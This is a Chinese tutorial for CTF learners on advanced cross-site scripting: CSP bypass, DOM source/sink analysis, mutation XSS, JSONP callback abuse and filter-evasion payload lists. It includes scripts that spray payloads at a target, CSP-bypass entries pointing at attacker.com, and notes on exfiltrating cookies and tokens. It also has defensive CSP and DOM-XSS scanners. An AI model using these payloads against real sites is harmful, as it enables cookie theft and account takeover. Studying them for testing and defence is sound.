XSS 进阶
XSS 进阶
本文适合
已掌握基本 XSS(三种类型、输出位置、基本测试)的学习者。学完你能:围绕 CSP、DOM Sink、mXSS 和 JSONP 建立进阶 XSS 验证链,判断脚本是否真的能在目标上下文执行
一句话判断
当基础 <script>alert(1)</script> 不再生效,但页面仍存在可控 HTML、危险 DOM Sink、弱 CSP、JSONP callback 或浏览器解析差异时,就进入 XSS 进阶排查。
进阶 XSS 不是堆 payload,而是先判断输入落在哪个执行边界:HTML、属性、URL、JavaScript 字符串、DOM API、第三方脚本、CSP 白名单或浏览器重写后的 DOM。
题目中常见信号
- 响应里能看到输入,但
<script>、onerror、javascript:被过滤或转义。 - 响应头有 CSP,但包含
'unsafe-inline'、'unsafe-eval'、宽松域名、JSONP 域或可上传同源文件。 - 前端代码从
location.hash、location.search、postMessage、localStorage读取数据后写入innerHTML、document.write、eval。 - 页面使用 Markdown、富文本、HTML Sanitizer、SVG/MathML、DOMPurify 旧版本或自写过滤器。
- 存在
callback=、jsonp=这类 JSONP 接口,返回内容被<script src>加载。 - Payload 在源码里看似安全,但浏览器 Elements 面板中的最终 DOM 发生变形。
核心概念
XSS 进阶题的核心是"可控数据经过多层解析后,最终是否进入可执行上下文"。这些层包括服务端转义、浏览器 HTML 解析、前端框架渲染、DOM API 赋值、CSP 执行策略和第三方脚本加载。
要把问题拆成三件事:
- 数据来源:参数、hash、postMessage、存储、JSONP、上传文件。
- 数据流向:HTML、属性、JS 字符串、URL、DOM Sink、脚本白名单。
- 执行约束:过滤器、编码、CSP、Sandbox、浏览器兼容性和用户交互条件。
只要能证明 source 到 sink 的路径存在,并且 CSP/过滤器没有阻止最终执行,就能形成有效利用链。
最小分析流程
- 找到输入回显位置,记录它落在 HTML 文本、属性、脚本字符串、URL 还是 DOM 操作里。
- 查看响应头 CSP,记录
script-src、default-src、base-uri、object-src、frame-src。 - 搜索前端代码中的 source 和 sink,确认是否存在 DOM XSS 数据流。
- 在浏览器 Elements 面板中观察最终 DOM,不只看 View Source。
- 用最小 payload 验证执行边界,例如事件处理器、
javascript:、闭合属性、模板字符串逃逸。 - 若基础 payload 被拦截,再按具体约束测试 CSP 白名单、JSONP callback、mXSS、编码变异或同源上传。
最小验证示例
先检查 CSP 和回显上下文:
curl -i "http://target/search?q=test"
curl -s "http://target/search?q=%3Csvg%20onload=alert(1)%3E" | Select-String "svg|onload|alert"如果输入不在响应体,而前端通过 hash 渲染:
// 页面代码
document.querySelector("#result").innerHTML = location.hash.slice(1)浏览器访问:
http://target/#<img src=x onerror=alert(1)>若 CSP 禁止内联事件,再检查是否允许某个 JSONP 域:
Content-Security-Policy: script-src 'self' https://api.example.com测试 JSONP:
curl "https://api.example.com/user?callback=alert"如果返回 alert({...}) 且目标页面可注入 <script src=...>,就可以把 CSP 绕过点从内联事件转为白名单脚本执行。
常见利用 / 解题路线
路线总览:
- DOM XSS 路线:定位 source 到 sink,用 hash/search/postMessage 构造最短可执行 payload。
- CSP 绕过路线:分析白名单域、nonce 是否复用、是否允许 JSONP、同源上传、
strict-dynamic信任链。 - mXSS 路线:把 payload 交给过滤器和浏览器解析,比较过滤后字符串与最终 DOM 差异。
- JSONP 路线:确认 callback 可控,再把 JSONP 接口作为脚本源加载。
- 上下文逃逸路线:根据 HTML 属性、JS 字符串、URL 参数位置选择闭合、编码、模板字符串或事件属性。
- 外带路线:能执行 JS 后,用
fetch、Image、navigator.sendBeacon或表单提交带出 cookie、页面内容或 CSRF token。
CSP 绕过技巧
Content Security Policy (CSP) 是防御 XSS 的重要机制,但配置不当可能被绕过:
常见 CSP 策略及绕过:
1. script-src 'self'
绕过: 利用同源文件上传 (如 SVG 文件中嵌入 JS)
2. script-src 'unsafe-inline'
绕过: 直接内联脚本 (无防护)
3. script-src https://cdn.example.com
绕过: 如果 CDN 可控或被 XSS
检查: cdn.example.com 是否允许用户上传文件
4. script-src 'nonce-abc123'
绕过: 如果 nonce 可预测或可泄露
检查: nonce 是否每次请求都变化
5. script-src 'strict-dynamic'
绕过: 需要找到可信脚本中的 DOM XSS
6. default-src 'self'
绕过: 检查是否有其他指令覆盖 (如 script-src)import requests
from urllib.parse import urljoin
def check_csp(url):
"""检查目标网站的 CSP 配置"""
resp = requests.get(url)
csp = resp.headers.get("Content-Security-Policy", "")
csp_report = resp.headers.get("Content-Security-Policy-Report-Only", "")
print(f"URL: {url}")
print(f"CSP: {csp}")
if csp_report:
print(f"CSP-Report-Only: {csp_report}")
# 分析 CSP 弱点
weaknesses = []
if not csp:
weaknesses.append("[!] 未设置 CSP")
if "'unsafe-inline'" in csp:
weaknesses.append("[!] 允许 unsafe-inline")
if "'unsafe-eval'" in csp:
weaknesses.append("[!] 允许 unsafe-eval")
if "*" in csp and "script-src" in csp:
weaknesses.append("[!] script-src 使用通配符")
if "data:" in csp:
weaknesses.append("[!] 允许 data: URI")
for w in weaknesses:
print(w)
return csp, weaknesses
# CSP 绕过 payload 示例
csp_bypasses = {
"base标签劫持": '<base href="https://attacker.com/">',
"link预加载": '<link rel="prefetch" href="https://attacker.com/?data">',
"meta刷新": '<meta http-equiv="refresh" content="0;url=https://attacker.com">',
"SVG脚本": '<svg onload="alert(1)">',
"iframe嵌入": '<iframe src="https://attacker.com/xss.html">',
}Mutation XSS (mXSS)
Mutation XSS 是指 payload 在 DOM 处理过程中发生变异,最终变成可执行的脚本:
<!-- Mutation XSS 示例 -->
<!-- 输入被浏览器 DOM 解析后发生变异 -->
<!-- 示例1: 属性值变异 -->
<img src=x onerror=alert(1)>
<!-- 某些过滤器可能只检查标签名,不检查变异后的属性 -->
<!-- 示例2: 编码变异 -->
<a href="javascript:alert(1)">
<!-- HTML 实体解码后变成 javascript:alert(1) -->
<!-- 示例3: 标签闭合变异 -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- noscript 标签的解析在不同上下文中可能不同 -->
<!-- 示例4: Math/SVG 命名空间 -->
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>">
<!-- 利用不同命名空间的解析差异 -->
<!-- 示例5: DOMParser 变异 -->
<textarea><img src=x onerror=alert(1)></textarea>
<!-- textarea 内容在某些上下文中可能被解析为 HTML --># mXSS 检测思路
def check_mxss_possible(input_filter_func):
"""测试过滤器是否可能存在 mXSS"""
payloads = [
'<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>',
'<noscript><p title="</noscript><img src=x onerror=alert(1)>',
'<textarea><img src=x onerror=alert(1)></textarea>',
'<xmp><img src=x onerror=alert(1)></xmp>',
'<listing><img src=x onerror=alert(1)></listing>',
]
for payload in payloads:
filtered = input_filter_func(payload)
# 检查过滤后是否仍包含可执行的事件处理器
if "onerror" in filtered or "onload" in filtered:
print(f"[!] 可能存在 mXSS: {payload[:50]}...")DOM 型 XSS 检测
// DOM XSS 的危险 source (数据来源)
// - document.URL
// - document.documentURI
// - document.referrer
// - location.href / location.search / location.hash
// - window.name
// - postMessage 数据
// - Web Storage (localStorage/sessionStorage)
// DOM XSS 的危险 sink (数据使用点)
// - eval()
// - setTimeout()/setInterval() 的字符串参数
// - document.write() / document.writeln()
// - innerHTML / outerHTML
// - element.setAttribute() (事件处理器)
// - location.href / location.assign()
// - jQuery.html() / $.append()# 使用 Python 检测 DOM XSS 的静态分析思路
import re
def scan_dom_xss(file_content):
"""扫描 JavaScript 代码中的 DOM XSS"""
sources = [
r'document\.URL',
r'document\.documentURI',
r'document\.referrer',
r'location\.href',
r'location\.search',
r'location\.hash',
r'window\.name',
]
sinks = [
r'eval\s*\(',
r'document\.write\s*\(',
r'\.innerHTML\s*=',
r'\.outerHTML\s*=',
r'setTimeout\s*\(["\']',
r'setInterval\s*\(["\']',
r'location\s*=',
]
findings = []
for source in sources:
matches = re.finditer(source, file_content)
for match in matches:
line_num = file_content[:match.start()].count('\n') + 1
findings.append(f"Source: {source} (行 {line_num})")
for sink in sinks:
matches = re.finditer(sink, file_content)
for match in matches:
line_num = file_content[:match.start()].count('\n') + 1
findings.append(f"Sink: {sink} (行 {line_num})")
return findings
# 使用示例
# with open("app.js") as f:
# results = scan_dom_xss(f.read())
# for r in results: print(r)XSS Filter 绕过技巧
# 常见过滤绕过技术
bypass_techniques = {
"大小写变换": [
'<ScRiPt>alert(1)</ScRiPt>',
'<iMg sRc=x OnErRoR=alert(1)>',
],
"双写绕过": [
'<scr<script>ipt>alert(1)</scr</script>ipt>',
'<scr<script></script>ipt>alert(1)</scri</script>pt>',
],
"编码绕过": [
# HTML 实体
'alert(1)',
# Unicode
'\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0031\\u0029',
# URL 编码
'%3Cscript%3Ealert(1)%3C/script%3E',
],
"事件处理器": [
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'<body onload=alert(1)>',
'<details open ontoggle=alert(1)>',
'<marquee onstart=alert(1)>',
'<video><source onerror=alert(1)>',
'<audio src=x onerror=alert(1)>',
],
"不用括号": [
'<img src=x onerror="alert`1`">',
'<svg onload="alert`1`">',
'<img src=x onerror=alert(1)>',
],
"不用尖括号": [
# 如果在 HTML 属性中
'" onmouseover="alert(1)"',
"' onmouseover='alert(1)'",
# 在 JavaScript 上下文中
'-alert(1)-',
'+alert(1)+',
],
"JavaScript URI": [
'<a href="javascript:alert(1)">click</a>',
'<a href="data:text/html,<script>alert(1)</script>">click</a>',
'<a href="javascript:alert(1)">click</a>',
],
}
# 自动化绕过测试
def test_xss_bypasses(url, param, filter_func=None):
"""测试各种 XSS 绕过技术"""
all_payloads = []
for category, payloads in bypass_techniques.items():
for payload in payloads:
all_payloads.append((category, payload))
for category, payload in all_payloads:
try:
resp = requests.get(url, params={param: payload}, timeout=5)
if payload in resp.text or "alert(1)" in resp.text:
print(f"[!] {category}: {payload}")
print(f" 响应中包含 payload")
except:
passXSS 检测自动化
# 常用 XSS 检测工具
# dalfox - Go 语言 XSS 扫描器
dalfox url "http://target.com/search?q=test"
# XSStrike - Python XSS 扫描器
python3 xsstrike.py -u "http://target.com/search?q=test"
# XSSer - 自动化 XSS 检测
xsser -u "http://target.com/search?q=test" --auto
# 使用 Burp Suite
# 1. 使用 Scanner 自动检测
# 2. 使用 Intruder 批量测试 payload
# 3. 使用 DOM Invader 检测 DOM XSSJSONP XSS
JSONP(JSON with Padding)是一种跨域数据传输方式,它通过 <script> 标签加载数据,绕过同源策略。
典型 JSONP 接口:
https://api.example.com/callback?callback=parseData返回:
parseData({"user":"admin","role":"admin"})如果 callback 参数未过滤,攻击者可以注入 JavaScript:
callback=alert(1)//返回变成:
alert(1)//({"user":"admin","role":"admin"})页面用 <script src="..."> 引用这个接口时,就会执行注入的代码。
CTF 中的利用方式:找到目标站点的 JSONP 接口,构造恶意 callback,诱导管理员访问包含该 <script> 标签的页面。
常见失败原因
- 不理解 CSP 策略含义:逐项拆
script-src、default-src、base-uri,先判断脚本来源和内联执行是否被允许。 - 只看 View Source:mXSS 和 DOM XSS 必须看浏览器最终 DOM、事件监听和运行时赋值。
- 只关注反射型 XSS:hash、postMessage、localStorage、JSONP 都可能不出现在服务端响应里。
- JSONP 只测
alert(1):很多接口只允许函数名格式,可用alert、top['alert']、数组访问或点号链测试。 - Payload 进了页面但没执行:检查是否落在文本节点、是否被实体编码、是否需要用户交互、CSP 是否拦截。
- 使用自动化工具无结果就放弃:进阶 XSS 更依赖上下文分析,工具适合扩展 payload,不适合替代 source-sink 判断。
迷你案例
题目页面有搜索框,响应体没有直接回显 q,但前端脚本里有:
const q = new URLSearchParams(location.search).get("q")
document.querySelector("#result").innerHTML = q第一步访问:
http://target/search?q=<img src=x onerror=alert(1)>浏览器控制台提示 CSP 拦截内联事件,响应头为:
Content-Security-Policy: script-src 'self' https://cdn.target.local继续检查 cdn.target.local,发现 /jsonp?callback= 返回可控函数调用:
curl "https://cdn.target.local/jsonp?callback=alert"返回 alert({"ok":true})。最终 payload 变成插入外部脚本:
<script src="https://cdn.target.local/jsonp?callback=alert"></script>这个案例的闭环是:DOM Sink 定位 -> 基础 payload 被 CSP 拦截 -> 分析白名单 -> JSONP callback 执行 -> CSP 绕过。